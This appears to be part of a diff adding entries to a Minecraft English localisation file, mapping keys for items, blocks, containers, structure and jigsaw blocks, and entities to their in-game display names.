"item.minecraft.iron_ingot": "Iron Ingot", + "item.minecraft.gold_ingot": "Gold Ingot", + "item.minecraft.iron_sword": "Iron Sword", + "item.minecraft.wooden_sword": "Wooden Sword", + "item.minecraft.wooden_shovel": "Wooden Shovel", + "item.minecraft.wooden_pickaxe": "Wooden Pickaxe", + "item.minecraft.wooden_axe": "Wooden Axe", + "item.minecraft.stone_sword": "Stone Sword", + "item.minecraft.stone_shovel": "Stone Shovel", + "item.minecraft.stone_pickaxe": "Stone Pickaxe", + "item.minecraft.stone_axe": "Stone Axe", + "item.minecraft.diamond_sword": "Diamond Sword", + "item.minecraft.diamond_shovel": "Diamond Shovel", + "item.minecraft.diamond_pickaxe": "Diamond Pickaxe", + "item.minecraft.diamond_axe": "Diamond Axe", + "item.minecraft.stick": "Stick", + "item.minecraft.bowl": "Bowl", + "item.minecraft.mushroom_stew": "Mushroom Stew", + "item.minecraft.golden_sword": "Golden Sword", + "item.minecraft.golden_shovel": "Golden Shovel", + "item.minecraft.golden_pickaxe": "Golden Pickaxe", + "item.minecraft.golden_axe": "Golden Axe", + "item.minecraft.string": "String", + "item.minecraft.feather": "Feather", + "item.minecraft.gunpowder": "Gunpowder", + "item.minecraft.wooden_hoe": "Wooden Hoe", + "item.minecraft.stone_hoe": "Stone Hoe", + "item.minecraft.iron_hoe": "Iron Hoe", + "item.minecraft.diamond_hoe": "Diamond Hoe", + "item.minecraft.golden_hoe": "Golden Hoe", + "item.minecraft.wheat_seeds": "Wheat Seeds", + "item.minecraft.pumpkin_seeds": "Pumpkin Seeds", + "item.minecraft.melon_seeds": "Melon Seeds", + "item.minecraft.melon_slice": "Melon Slice", + "item.minecraft.wheat": "Wheat", + "item.minecraft.bread": "Bread", + "item.minecraft.leather_helmet": "Leather Cap", + "item.minecraft.leather_chestplate": "Leather Tunic", + "item.minecraft.leather_leggings": "Leather Pants", + "item.minecraft.leather_boots": "Leather Boots", + "item.minecraft.chainmail_helmet": "Chainmail Helmet", + "item.minecraft.chainmail_chestplate": "Chainmail Chestplate", + "item.minecraft.chainmail_leggings": "Chainmail Leggings", + "item.minecraft.chainmail_boots": "Chainmail Boots", + "item.minecraft.iron_helmet": "Iron Helmet", + "item.minecraft.iron_chestplate": "Iron Chestplate", + "item.minecraft.iron_leggings": "Iron Leggings", + "item.minecraft.iron_boots": "Iron Boots", + "item.minecraft.diamond_helmet": "Diamond Helmet", + "item.minecraft.diamond_chestplate": "Diamond Chestplate", + "item.minecraft.diamond_leggings": "Diamond Leggings", + "item.minecraft.diamond_boots": "Diamond Boots", + "item.minecraft.golden_helmet": "Golden Helmet", + "item.minecraft.golden_chestplate": "Golden Chestplate", + "item.minecraft.golden_leggings": "Golden Leggings", + "item.minecraft.golden_boots": "Golden Boots", + "item.minecraft.flint": "Flint", + "item.minecraft.porkchop": "Raw Porkchop", + "item.minecraft.cooked_porkchop": "Cooked Porkchop", + "item.minecraft.chicken": "Raw Chicken", + "item.minecraft.cooked_chicken": "Cooked Chicken", + "item.minecraft.mutton": "Raw Mutton", + "item.minecraft.cooked_mutton": "Cooked Mutton", + "item.minecraft.rabbit": "Raw Rabbit", + "item.minecraft.cooked_rabbit": "Cooked Rabbit", + "item.minecraft.rabbit_stew": "Rabbit Stew", + "item.minecraft.rabbit_foot": "Rabbit's Foot", + "item.minecraft.rabbit_hide": "Rabbit Hide", + "item.minecraft.beef": "Raw Beef", + "item.minecraft.cooked_beef": "Steak", + "item.minecraft.painting": "Painting", + "item.minecraft.item_frame": "Item Frame", + "item.minecraft.golden_apple": "Golden Apple", + "item.minecraft.enchanted_golden_apple": "Enchanted Golden Apple", + "item.minecraft.sign": "Sign", + "item.minecraft.bucket": "Bucket", + "item.minecraft.water_bucket": "Water Bucket", + "item.minecraft.lava_bucket": "Lava Bucket", + "item.minecraft.pufferfish_bucket": "Bucket of Pufferfish", + "item.minecraft.salmon_bucket": "Bucket of Salmon", + "item.minecraft.cod_bucket": "Bucket of Cod", + "item.minecraft.tropical_fish_bucket": "Bucket of Tropical Fish", + "item.minecraft.minecart": "Minecart", + "item.minecraft.saddle": "Saddle", + "item.minecraft.redstone": "Redstone Dust", + "item.minecraft.snowball": "Snowball", + "item.minecraft.oak_boat": "Oak Boat", + "item.minecraft.spruce_boat": "Spruce Boat", + "item.minecraft.birch_boat": "Birch Boat", + "item.minecraft.jungle_boat": "Jungle Boat", + "item.minecraft.acacia_boat": "Acacia Boat", + "item.minecraft.dark_oak_boat": "Dark Oak Boat", + "item.minecraft.leather": "Leather", + "item.minecraft.milk_bucket": "Milk Bucket", + "item.minecraft.brick": "Brick", + "item.minecraft.clay_ball": "Clay Ball", + "item.minecraft.paper": "Paper", + "item.minecraft.book": "Book", + "item.minecraft.slime_ball": "Slimeball", + "item.minecraft.chest_minecart": "Minecart with Chest", + "item.minecraft.furnace_minecart": "Minecart with Furnace", + "item.minecraft.tnt_minecart": "Minecart with TNT", + "item.minecraft.hopper_minecart": "Minecart with Hopper", + "item.minecraft.command_block_minecart": "Minecart with Command Block", + "item.minecraft.egg": "Egg", + "item.minecraft.compass": "Compass", + "item.minecraft.fishing_rod": "Fishing Rod", + "item.minecraft.clock": "Clock", + "item.minecraft.glowstone_dust": "Glowstone Dust", + "item.minecraft.cod": "Raw Cod", + "item.minecraft.salmon": "Raw Salmon", + "item.minecraft.pufferfish": "Pufferfish", + "item.minecraft.tropical_fish": "Tropical Fish", + "item.minecraft.cooked_cod": "Cooked Cod", + "item.minecraft.cooked_salmon": "Cooked Salmon", + "item.minecraft.music_disc_13": "Music Disc", + "item.minecraft.music_disc_cat": "Music Disc", + "item.minecraft.music_disc_blocks": "Music Disc", + "item.minecraft.music_disc_chirp": "Music Disc", + "item.minecraft.music_disc_far": "Music Disc", + "item.minecraft.music_disc_mall": "Music Disc", + "item.minecraft.music_disc_mellohi": "Music Disc", + "item.minecraft.music_disc_stal": "Music Disc", + "item.minecraft.music_disc_strad": "Music Disc", + "item.minecraft.music_disc_ward": "Music Disc", + "item.minecraft.music_disc_11": "Music Disc", + "item.minecraft.music_disc_wait": "Music Disc", + "item.minecraft.music_disc_pigstep": "Music Disc", + "item.minecraft.music_disc_13.desc": "C418 - 13", + "item.minecraft.music_disc_cat.desc": "C418 - cat", + "item.minecraft.music_disc_blocks.desc": "C418 - blocks", + "item.minecraft.music_disc_chirp.desc": "C418 - chirp", + "item.minecraft.music_disc_far.desc": "C418 - far", + "item.minecraft.music_disc_mall.desc": "C418 - mall", + "item.minecraft.music_disc_mellohi.desc": "C418 - mellohi", + "item.minecraft.music_disc_stal.desc": "C418 - stal", + "item.minecraft.music_disc_strad.desc": "C418 - strad", + "item.minecraft.music_disc_ward.desc": "C418 - ward", + "item.minecraft.music_disc_11.desc": "C418 - 11", + "item.minecraft.music_disc_wait.desc": "C418 - wait", + "item.minecraft.music_disc_pigstep.desc": "Lena Raine - Pigstep", + "item.minecraft.bone": "Bone", + "item.minecraft.ink_sac": "Ink Sac", + "item.minecraft.red_dye": "Red Dye", + "item.minecraft.green_dye": "Green Dye", + "item.minecraft.cocoa_beans": "Cocoa Beans", + "item.minecraft.lapis_lazuli": "Lapis Lazuli", + "item.minecraft.purple_dye": "Purple Dye", + "item.minecraft.cyan_dye": "Cyan Dye", + "item.minecraft.light_gray_dye": "Light Gray Dye", + "item.minecraft.gray_dye": "Gray Dye", + "item.minecraft.pink_dye": "Pink Dye", + "item.minecraft.lime_dye": "Lime Dye", + "item.minecraft.yellow_dye": "Yellow Dye", + "item.minecraft.light_blue_dye": "Light Blue Dye", + "item.minecraft.magenta_dye": "Magenta Dye", + "item.minecraft.orange_dye": "Orange Dye", + "item.minecraft.bone_meal": "Bone Meal", + "item.minecraft.blue_dye": "Blue Dye", + "item.minecraft.black_dye": "Black Dye", + "item.minecraft.brown_dye": "Brown Dye", + "item.minecraft.white_dye": "White Dye", + "item.minecraft.sugar": "Sugar", + "block.minecraft.black_bed": "Black Bed", + "block.minecraft.red_bed": "Red Bed", + "block.minecraft.green_bed": "Green Bed", + "block.minecraft.brown_bed": "Brown Bed", + "block.minecraft.blue_bed": "Blue Bed", + "block.minecraft.purple_bed": "Purple Bed", + "block.minecraft.cyan_bed": "Cyan Bed", + "block.minecraft.light_gray_bed": "Light Gray Bed", + "block.minecraft.gray_bed": "Gray Bed", + "block.minecraft.pink_bed": "Pink Bed", + "block.minecraft.lime_bed": "Lime Bed", + "block.minecraft.yellow_bed": "Yellow Bed", + "block.minecraft.light_blue_bed": "Light Blue Bed", + "block.minecraft.magenta_bed": "Magenta Bed", + "block.minecraft.orange_bed": "Orange Bed", + "block.minecraft.white_bed": "White Bed", + "block.minecraft.repeater": "Redstone Repeater", + "block.minecraft.comparator": "Redstone Comparator", + "item.minecraft.filled_map": "Map", + "item.minecraft.shears": "Shears", + "item.minecraft.rotten_flesh": "Rotten Flesh", + "item.minecraft.ender_pearl": "Ender Pearl", + "item.minecraft.blaze_rod": "Blaze Rod", + "item.minecraft.ghast_tear": "Ghast Tear", + "item.minecraft.nether_wart": "Nether Wart", + "item.minecraft.potion": "Potion", + "item.minecraft.splash_potion": "Splash Potion", + "item.minecraft.lingering_potion": "Lingering Potion", + "item.minecraft.end_crystal": "End Crystal", + "item.minecraft.gold_nugget": "Gold Nugget", + "item.minecraft.glass_bottle": "Glass Bottle", + "item.minecraft.spider_eye": "Spider Eye", + "item.minecraft.fermented_spider_eye": "Fermented Spider Eye", + "item.minecraft.blaze_powder": "Blaze Powder", + "item.minecraft.magma_cream": "Magma Cream", + "item.minecraft.cauldron": "Cauldron", + "item.minecraft.brewing_stand": "Brewing Stand", + "item.minecraft.ender_eye": "Eye of Ender", + "item.minecraft.glistering_melon_slice": "Glistering Melon Slice", + "item.minecraft.bat_spawn_egg": "Bat Spawn Egg", + "item.minecraft.bee_spawn_egg": "Bee Spawn Egg", + "item.minecraft.blaze_spawn_egg": "Blaze Spawn Egg", + "item.minecraft.cat_spawn_egg": "Cat Spawn Egg", + "item.minecraft.cave_spider_spawn_egg": "Cave Spider Spawn Egg", + "item.minecraft.chicken_spawn_egg": "Chicken Spawn Egg", + "item.minecraft.cod_spawn_egg": "Cod Spawn Egg", + "item.minecraft.cow_spawn_egg": "Cow Spawn Egg", + "item.minecraft.creeper_spawn_egg": "Creeper Spawn Egg", + "item.minecraft.dolphin_spawn_egg": "Dolphin Spawn Egg", + "item.minecraft.donkey_spawn_egg": "Donkey Spawn Egg", + "item.minecraft.drowned_spawn_egg": "Drowned Spawn Egg", + "item.minecraft.elder_guardian_spawn_egg": "Elder Guardian Spawn Egg", + "item.minecraft.enderman_spawn_egg": "Enderman Spawn Egg", + "item.minecraft.endermite_spawn_egg": "Endermite Spawn Egg", + "item.minecraft.evoker_spawn_egg": "Evoker Spawn Egg", + "item.minecraft.ghast_spawn_egg": "Ghast Spawn Egg", + "item.minecraft.guardian_spawn_egg": "Guardian Spawn Egg", + "item.minecraft.hoglin_spawn_egg": "Hoglin Spawn Egg", + "item.minecraft.horse_spawn_egg": "Horse Spawn Egg", + "item.minecraft.husk_spawn_egg": "Husk Spawn Egg", + "item.minecraft.ravager_spawn_egg": "Ravager Spawn Egg", + "item.minecraft.llama_spawn_egg": "Llama Spawn Egg", + "item.minecraft.magma_cube_spawn_egg": "Magma Cube Spawn Egg", + "item.minecraft.mooshroom_spawn_egg": "Mooshroom Spawn Egg", + "item.minecraft.mule_spawn_egg": "Mule Spawn Egg", + "item.minecraft.ocelot_spawn_egg": "Ocelot Spawn Egg", + "item.minecraft.panda_spawn_egg": "Panda Spawn Egg", + "item.minecraft.parrot_spawn_egg": "Parrot Spawn Egg", + "item.minecraft.pig_spawn_egg": "Pig Spawn Egg", + "item.minecraft.piglin_spawn_egg": "Piglin Spawn Egg", + "item.minecraft.piglin_brute_spawn_egg": "Piglin Brute Spawn Egg", + "item.minecraft.pillager_spawn_egg": "Pillager Spawn Egg", + "item.minecraft.phantom_spawn_egg": "Phantom Spawn Egg", + "item.minecraft.polar_bear_spawn_egg": "Polar Bear Spawn Egg", + "item.minecraft.pufferfish_spawn_egg": "Pufferfish Spawn Egg", + "item.minecraft.rabbit_spawn_egg": "Rabbit Spawn Egg", + "item.minecraft.fox_spawn_egg": "Fox Spawn Egg", + "item.minecraft.salmon_spawn_egg": "Salmon Spawn Egg", + "item.minecraft.sheep_spawn_egg": "Sheep Spawn Egg", + "item.minecraft.shulker_spawn_egg": "Shulker Spawn Egg", + "item.minecraft.silverfish_spawn_egg": "Silverfish Spawn Egg", + "item.minecraft.skeleton_spawn_egg": "Skeleton Spawn Egg", + "item.minecraft.skeleton_horse_spawn_egg": "Skeleton Horse Spawn Egg", + "item.minecraft.slime_spawn_egg": "Slime Spawn Egg", + "item.minecraft.spider_spawn_egg": "Spider Spawn Egg", + "item.minecraft.squid_spawn_egg": "Squid Spawn Egg", + "item.minecraft.stray_spawn_egg": "Stray Spawn Egg", + "item.minecraft.strider_spawn_egg": "Strider Spawn Egg", + "item.minecraft.trader_llama_spawn_egg": "Trader Llama Spawn Egg", + "item.minecraft.tropical_fish_spawn_egg": "Tropical Fish Spawn Egg", + "item.minecraft.turtle_spawn_egg": "Turtle Spawn Egg", + "item.minecraft.vex_spawn_egg": "Vex Spawn Egg", + "item.minecraft.villager_spawn_egg": "Villager Spawn Egg", + "item.minecraft.wandering_trader_spawn_egg": "Wandering Trader Spawn Egg", + "item.minecraft.vindicator_spawn_egg": "Vindicator Spawn Egg", + "item.minecraft.witch_spawn_egg": "Witch Spawn Egg", + "item.minecraft.wither_skeleton_spawn_egg": "Wither Skeleton Spawn Egg", + "item.minecraft.wolf_spawn_egg": "Wolf Spawn Egg", + "item.minecraft.zoglin_spawn_egg": "Zoglin Spawn Egg", + "item.minecraft.zombie_spawn_egg": "Zombie Spawn Egg", + "item.minecraft.zombie_horse_spawn_egg": "Zombie Horse Spawn Egg", + "item.minecraft.zombified_piglin_spawn_egg": "Zombified Piglin Spawn Egg", + "item.minecraft.zombie_villager_spawn_egg": "Zombie Villager Spawn Egg", + "item.minecraft.experience_bottle": "Bottle o' Enchanting", + "item.minecraft.fire_charge": "Fire Charge", + "item.minecraft.writable_book": "Book and Quill", + "item.minecraft.written_book": "Written Book", + "item.minecraft.flower_pot": "Flower Pot", + "item.minecraft.map": "Empty Map", + "item.minecraft.carrot": "Carrot", + "item.minecraft.golden_carrot": "Golden Carrot", + "item.minecraft.potato": "Potato", + "item.minecraft.baked_potato": "Baked Potato", + "item.minecraft.poisonous_potato": "Poisonous Potato", + "item.minecraft.carrot_on_a_stick": "Carrot on a Stick", + "item.minecraft.nether_star": "Nether Star", + "item.minecraft.pumpkin_pie": "Pumpkin Pie", + "item.minecraft.enchanted_book": "Enchanted Book", + "item.minecraft.firework_rocket": "Firework Rocket", + "item.minecraft.firework_rocket.flight": "Flight Duration:", + "item.minecraft.firework_star": "Firework Star", + "item.minecraft.firework_star.black": "Black", + "item.minecraft.firework_star.red": "Red", + "item.minecraft.firework_star.green": "Green", + "item.minecraft.firework_star.brown": "Brown", + "item.minecraft.firework_star.blue": "Blue", + "item.minecraft.firework_star.purple": "Purple", + "item.minecraft.firework_star.cyan": "Cyan", + "item.minecraft.firework_star.light_gray": "Light Gray", + "item.minecraft.firework_star.gray": "Gray", + "item.minecraft.firework_star.pink": "Pink", + "item.minecraft.firework_star.lime": "Lime", + "item.minecraft.firework_star.yellow": "Yellow", + "item.minecraft.firework_star.light_blue": "Light Blue", + "item.minecraft.firework_star.magenta": "Magenta", + "item.minecraft.firework_star.orange": "Orange", + "item.minecraft.firework_star.white": "White", + "item.minecraft.firework_star.custom_color": "Custom", + "item.minecraft.firework_star.fade_to": "Fade to", + "item.minecraft.firework_star.flicker": "Twinkle", + "item.minecraft.firework_star.trail": "Trail", + "item.minecraft.firework_star.shape.small_ball": "Small Ball", + "item.minecraft.firework_star.shape.large_ball": "Large Ball", + "item.minecraft.firework_star.shape.star": "Star-shaped", + "item.minecraft.firework_star.shape.creeper": "Creeper-shaped", + "item.minecraft.firework_star.shape.burst": "Burst", + "item.minecraft.firework_star.shape": "Unknown Shape", + "item.minecraft.nether_brick": "Nether Brick", + "item.minecraft.quartz": "Nether Quartz", + "item.minecraft.armor_stand": "Armor Stand", + "item.minecraft.iron_horse_armor": "Iron Horse Armor", + "item.minecraft.golden_horse_armor": "Golden Horse Armor", + "item.minecraft.diamond_horse_armor": "Diamond Horse Armor", + "item.minecraft.leather_horse_armor": "Leather Horse Armor", + "item.minecraft.prismarine_shard": "Prismarine Shard", + "item.minecraft.prismarine_crystals": "Prismarine Crystals", + "item.minecraft.chorus_fruit": "Chorus Fruit", + "item.minecraft.popped_chorus_fruit": "Popped Chorus Fruit", + "item.minecraft.beetroot": "Beetroot", + "item.minecraft.beetroot_seeds": "Beetroot Seeds", + "item.minecraft.beetroot_soup": "Beetroot Soup", + "item.minecraft.dragon_breath": "Dragon's Breath", + "item.minecraft.elytra": "Elytra", + "item.minecraft.totem_of_undying": "Totem of Undying", + "item.minecraft.shulker_shell": "Shulker Shell", + "item.minecraft.iron_nugget": "Iron Nugget", + "item.minecraft.knowledge_book": "Knowledge Book", + "item.minecraft.debug_stick": "Debug Stick", + "item.minecraft.debug_stick.empty": "%s has no properties", + "item.minecraft.debug_stick.update": "\"%s\" to %s", + "item.minecraft.debug_stick.select": "selected \"%s\" (%s)", + "item.minecraft.trident": "Trident", + "item.minecraft.scute": "Scute", + "item.minecraft.turtle_helmet": "Turtle Shell", + "item.minecraft.phantom_membrane": "Phantom Membrane", + "item.minecraft.nautilus_shell": "Nautilus Shell", + "item.minecraft.heart_of_the_sea": "Heart of the Sea", + "item.minecraft.crossbow": "Crossbow", + "item.minecraft.crossbow.projectile": "Projectile:", + "item.minecraft.suspicious_stew": "Suspicious Stew", + "item.minecraft.creeper_banner_pattern": "Banner Pattern", + "item.minecraft.skull_banner_pattern": "Banner Pattern", + "item.minecraft.flower_banner_pattern": "Banner Pattern", + "item.minecraft.mojang_banner_pattern": "Banner Pattern", + "item.minecraft.globe_banner_pattern": "Banner Pattern", + "item.minecraft.creeper_banner_pattern.desc": "Creeper Charge", + "item.minecraft.skull_banner_pattern.desc": "Skull Charge", + "item.minecraft.flower_banner_pattern.desc": "Flower Charge", + "item.minecraft.mojang_banner_pattern.desc": "Thing", + "item.minecraft.globe_banner_pattern.desc": "Globe", + "item.minecraft.piglin_banner_pattern": "Banner Pattern", + "item.minecraft.piglin_banner_pattern.desc": "Snout", + "item.minecraft.sweet_berries": "Sweet Berries", + "item.minecraft.honey_bottle": "Honey Bottle", + "item.minecraft.honeycomb": "Honeycomb", + "item.minecraft.lodestone_compass": "Lodestone Compass", + "item.minecraft.netherite_scrap": "Netherite Scrap", + "item.minecraft.netherite_ingot": "Netherite Ingot", + "item.minecraft.netherite_helmet": "Netherite Helmet", + "item.minecraft.netherite_chestplate": "Netherite Chestplate", + "item.minecraft.netherite_leggings": "Netherite Leggings", + "item.minecraft.netherite_boots": "Netherite Boots", + "item.minecraft.netherite_axe": "Netherite Axe", + "item.minecraft.netherite_pickaxe": "Netherite Pickaxe", + "item.minecraft.netherite_hoe": "Netherite Hoe", + "item.minecraft.netherite_shovel": "Netherite Shovel", + "item.minecraft.netherite_sword": "Netherite Sword", + "item.minecraft.warped_fungus_on_a_stick": "Warped Fungus on a Stick", + "container.inventory": "Inventory", + "container.hopper": "Item Hopper", + "container.crafting": "Crafting", + "container.dispenser": "Dispenser", + "container.dropper": "Dropper", + "container.furnace": "Furnace", + "container.enchant": "Enchant", + "container.smoker": "Smoker", + "container.lectern": "Lectern", + "container.blast_furnace": "Blast Furnace", + "container.enchant.lapis.one": "1 Lapis Lazuli", + "container.enchant.lapis.many": "%s Lapis Lazuli", + "container.enchant.level.one": "1 Enchantment Level", + "container.enchant.level.many": "%s Enchantment Levels", + "container.enchant.level.requirement": "Level Requirement: %s", + "container.enchant.clue": "%s . . . ?", + "container.repair": "Repair & Name", + "container.repair.cost": "Enchantment Cost: %1$s", + "container.repair.expensive": "Too Expensive!", + "container.creative": "Item Selection", + "container.brewing": "Brewing Stand", + "container.chest": "Chest", + "container.chestDouble": "Large Chest", + "container.enderchest": "Ender Chest", + "container.beacon": "Beacon", + "container.shulkerBox": "Shulker Box", + "container.shulkerBox.more": "and %s more...", + "container.barrel": "Barrel", + "container.spectatorCantOpen": "Unable to open. Loot not generated yet.", + "container.isLocked": "%s is locked!", + "container.loom": "Loom", + "container.grindstone_title": "Repair & Disenchant", + "container.cartography_table": "Cartography Table", + "container.stonecutter": "Stonecutter", + "container.upgrade": "Upgrade Gear", + "structure_block.invalid_structure_name": "Invalid structure name '%s'", + "structure_block.save_success": "Structure saved as '%s'", + "structure_block.save_failure": "Unable to save structure '%s'", + "structure_block.load_success": "Structure loaded from '%s'", + "structure_block.load_prepare": "Structure '%s' position prepared", + "structure_block.load_not_found": "Structure '%s' is not available", + "structure_block.size_success": "Size successfully detected for '%s'", + "structure_block.size_failure": "Unable to detect structure size. Add corners with matching structure names", + "structure_block.mode.save": "Save", + "structure_block.mode.load": "Load", + "structure_block.mode.data": "Data", + "structure_block.mode.corner": "Corner", + "structure_block.hover.save": "Save: %s", + "structure_block.hover.load": "Load: %s", + "structure_block.hover.data": "Data: %s", + "structure_block.hover.corner": "Corner: %s", + "structure_block.mode_info.save": "Save Mode - Write to File", + "structure_block.mode_info.load": "Load mode - Load from File", + "structure_block.mode_info.data": "Data mode - Game Logic Marker", + "structure_block.mode_info.corner": "Corner Mode - Placement and Size Marker", + "structure_block.structure_name": "Structure Name", + "structure_block.custom_data": "Custom Data Tag Name", + "structure_block.position": "Relative Position", + "structure_block.position.x": "relative Position x", + "structure_block.position.y": "relative position y", + "structure_block.position.z": "relative position z", + "structure_block.size": "Structure Size", + "structure_block.size.x": "structure size x", + "structure_block.size.y": "structure size y", + "structure_block.size.z": "structure size z", + "structure_block.integrity": "Structure Integrity and Seed", + "structure_block.integrity.integrity": "Structure Integrity", + "structure_block.integrity.seed": "Structure Seed", + "structure_block.include_entities": "Include entities:", + "structure_block.detect_size": "Detect structure size and position:", + "structure_block.button.detect_size": "DETECT", + "structure_block.button.save": "SAVE", + "structure_block.button.load": "LOAD", + "structure_block.show_air": "Show Invisible Blocks:", + "structure_block.show_boundingbox": "Show Bounding Box:", + "jigsaw_block.pool": "Target Pool:", + "jigsaw_block.name": "Name:", + "jigsaw_block.target": "Target Name:", + "jigsaw_block.final_state": "Turns into:", + "jigsaw_block.levels": "Levels: %s", + "jigsaw_block.keep_jigsaws": "Keep Jigsaws", + "jigsaw_block.generate": "Generate", + "jigsaw_block.joint_label": "Joint Type:", + "jigsaw_block.joint.rollable": "Rollable", + "jigsaw_block.joint.aligned": "Aligned", + "item.dyed": "Dyed", + "item.unbreakable": "Unbreakable", + "item.canBreak": "Can break:", + "item.canPlace": "Can be placed on:", + "item.color": "Color: %s", + "item.nbt_tags": "NBT: %s tag(s)", + "item.durability": "Durability: %s / %s", + "filled_map.mansion": "Woodland Explorer Map", + "filled_map.monument": "Ocean Explorer Map", + "filled_map.buried_treasure": "Buried Treasure Map", + "filled_map.unknown": "Unknown Map", + "filled_map.id": "Id #%s", + "filled_map.level": "(Level %s/%s)", + "filled_map.scale": "Scaling at 1:%s", + "filled_map.locked": "Locked", + "entity.minecraft.area_effect_cloud": "Area Effect Cloud", + "entity.minecraft.armor_stand": "Armor Stand", + "entity.minecraft.arrow": "Arrow", + "entity.minecraft.bat": "Bat", + "entity.minecraft.bee": "Bee", + "entity.minecraft.blaze": "Blaze", + "entity.minecraft.boat": "Boat", + "entity.minecraft.cat": "Cat", + "entity.minecraft.cave_spider": "Cave Spider", + "entity.minecraft.chest_minecart": "Minecart with Chest", + "entity.minecraft.chicken": "Chicken", + "entity.minecraft.command_block_minecart": "Minecart with Command Block", + "entity.minecraft.cod": "Cod", + "entity.minecraft.cow": "Cow", + "entity.minecraft.creeper": "Creeper", + "entity.minecraft.dolphin": "Dolphin", + "entity.minecraft.donkey": "Donkey", + "entity.minecraft.drowned": "Drowned", + "entity.minecraft.dragon_fireball": "Dragon Fireball", + "entity.minecraft.egg": "Thrown Egg", + "entity.minecraft.elder_guardian": "Elder Guardian", + "entity.minecraft.end_crystal": "End Crystal", + "entity.minecraft.ender_dragon": "Ender Dragon", + "entity.minecraft.ender_pearl": "Thrown Ender Pearl", + "entity.minecraft.enderman": "Enderman", + "entity.minecraft.endermite": "Endermite", + "entity.minecraft.evoker_fangs": "Evoker Fangs", + "entity.minecraft.evoker": "Evoker", + "entity.minecraft.eye_of_ender": "Eye of Ender", + "entity.minecraft.falling_block": "Falling Block", + "entity.minecraft.fireball": "Fireball", + "entity.minecraft.firework_rocket": "Firework Rocket", + "entity.minecraft.fishing_bobber": "Fishing Bobber", + "entity.minecraft.fox": "Fox", + "entity.minecraft.furnace_minecart": "Minecart with Furnace", + "entity.minecraft.ghast": "Ghast", + "entity.minecraft.giant": "Giant", + "entity.minecraft.guardian": "Guardian", + "entity.minecraft.hoglin": "Hoglin", + "entity.minecraft.hopper_minecart": "Minecart with Hopper", + "entity.minecraft.horse": "Horse", + "entity.minecraft.husk": "Husk", + "entity.minecraft.ravager": "Ravager", + "entity.minecraft.illusioner": "Illusioner", + "entity.minecraft.item": "Item", + "entity.minecraft.item_frame": "Item Frame", + "entity.minecraft.killer_bunny": "The Killer Bunny", + "entity.minecraft.leash_knot": "Leash Knot", + "entity.minecraft.lightning_bolt": "Lightning Bolt", + "entity.minecraft.llama": "Llama", + "entity.minecraft.llama_spit": "Llama Spit", + "entity.minecraft.magma_cube": "Magma Cube", + "entity.minecraft.minecart": "Minecart", + "entity.minecraft.mooshroom": "Mooshroom", + "entity.minecraft.mule": "Mule", + "entity.minecraft.ocelot": "Ocelot", + "entity.minecraft.painting": "Painting", + "entity.minecraft.panda": "Panda", + "entity.minecraft.parrot": "Parrot", + "entity.minecraft.phantom": "Phantom", + "entity.minecraft.pig": "Pig", + "entity.minecraft.piglin": "Piglin", + "entity.minecraft.piglin_brute": "Piglin Brute", + "entity.minecraft.pillager": "Pillager", + "entity.minecraft.player": "Player", + "entity.minecraft.polar_bear": "Polar Bear", + "entity.minecraft.potion": "Potion", + "entity.minecraft.pufferfish": "Pufferfish", + "entity.minecraft.rabbit": "Rabbit", + "entity.minecraft.salmon": "Salmon", + "entity.minecraft.sheep": "Sheep", + "entity.minecraft.shulker": "Shulker", + "entity.minecraft.shulker_bullet": "Shulker Bullet", + "entity.minecraft.silverfish": "Silverfish", + "entity.minecraft.skeleton": "Skeleton", + "entity.minecraft.skeleton_horse": "Skeleton Horse", + "entity.minecraft.slime": "Slime", + "entity.minecraft.small_fireball": "Small Fireball", + "entity.minecraft.snowball": "Snowball", + "entity.minecraft.snow_golem": "Snow Golem", + "entity.minecraft.spawner_minecart": "Minecart with Spawner", + "entity.minecraft.spectral_arrow": "Spectral Arrow", + "entity.minecraft.spider": "Spider", + "entity.minecraft.squid": "Squid", + "entity.minecraft.stray": "Stray", + "entity.minecraft.strider": "Strider", + "entity.minecraft.tnt": "Primed TNT", + "entity.minecraft.tnt_minecart": "Minecart with TNT", + "entity.minecraft.trader_llama": "Trader Llama", + "entity.minecraft.trident": "Trident", + "entity.minecraft.tropical_fish": "Tropical Fish", + "entity.minecraft.tropical_fish.predefined.0": "Anemone", + "entity.minecraft.tropical_fish.predefined.1": "Black Tang", + "entity.minecraft.tropical_fish.predefined.2": "Blue Tang", + "entity.minecraft.tropical_fish.predefined.3": "Butterflyfish", + "entity.minecraft.tropical_fish.predefined.4": "Cichlid", + "entity.minecraft.tropical_fish.predefined.5": "Clownfish", + "entity.minecraft.tropical_fish.predefined.6": "Cotton Candy Betta", + "entity.minecraft.tropical_fish.predefined.7": "Dottyback", + "entity.minecraft.tropical_fish.predefined.8": "Emperor Red Snapper", + "entity.minecraft.tropical_fish.predefined.9": "Goatfish", + "entity.minecraft.tropical_fish.predefined.10": "Moorish Idol", + "entity.minecraft.tropical_fish.predefined.11": "Ornate Butterflyfish", + "entity.minecraft.tropical_fish.predefined.12": "Parrotfish", + "entity.minecraft.tropical_fish.predefined.13": "Queen Angelfish", + "entity.minecraft.tropical_fish.predefined.14": "Red Cichlid", + "entity.minecraft.tropical_fish.predefined.15": "Red Lipped Blenny", + "entity.minecraft.tropical_fish.predefined.16": "Red Snapper", + "entity.minecraft.tropical_fish.predefined.17": "Threadfin", + "entity.minecraft.tropical_fish.predefined.18": "Tomato Clownfish", + "entity.minecraft.tropical_fish.predefined.19": "Triggerfish", + "entity.minecraft.tropical_fish.predefined.20": "Yellowtail Parrotfish", + "entity.minecraft.tropical_fish.predefined.21": "Yellow Tang", + "entity.minecraft.tropical_fish.type.flopper": "Flopper", + "entity.minecraft.tropical_fish.type.stripey": "Stripey", + "entity.minecraft.tropical_fish.type.glitter": "Glitter", + "entity.minecraft.tropical_fish.type.blockfish": "Blockfish", + "entity.minecraft.tropical_fish.type.betty": "Betty", + "entity.minecraft.tropical_fish.type.clayfish": "Clayfish", + "entity.minecraft.tropical_fish.type.kob": "Kob", + "entity.minecraft.tropical_fish.type.sunstreak": "Sunstreak", + "entity.minecraft.tropical_fish.type.snooper": "Snooper", + "entity.minecraft.tropical_fish.type.dasher": "Dasher", + "entity.minecraft.tropical_fish.type.brinely": "Brinely", + "entity.minecraft.tropical_fish.type.spotty": "Spotty", + "entity.minecraft.turtle": "Turtle", + "entity.minecraft.vex": "Vex", + "entity.minecraft.villager.armorer": "Armorer", + "entity.minecraft.villager.butcher": "Butcher", + "entity.minecraft.villager.cartographer": "Cartographer", + "entity.minecraft.villager.cleric": "Cleric", + "entity.minecraft.villager.farmer": "Farmer", + "entity.minecraft.villager.fisherman": "Fisherman", + 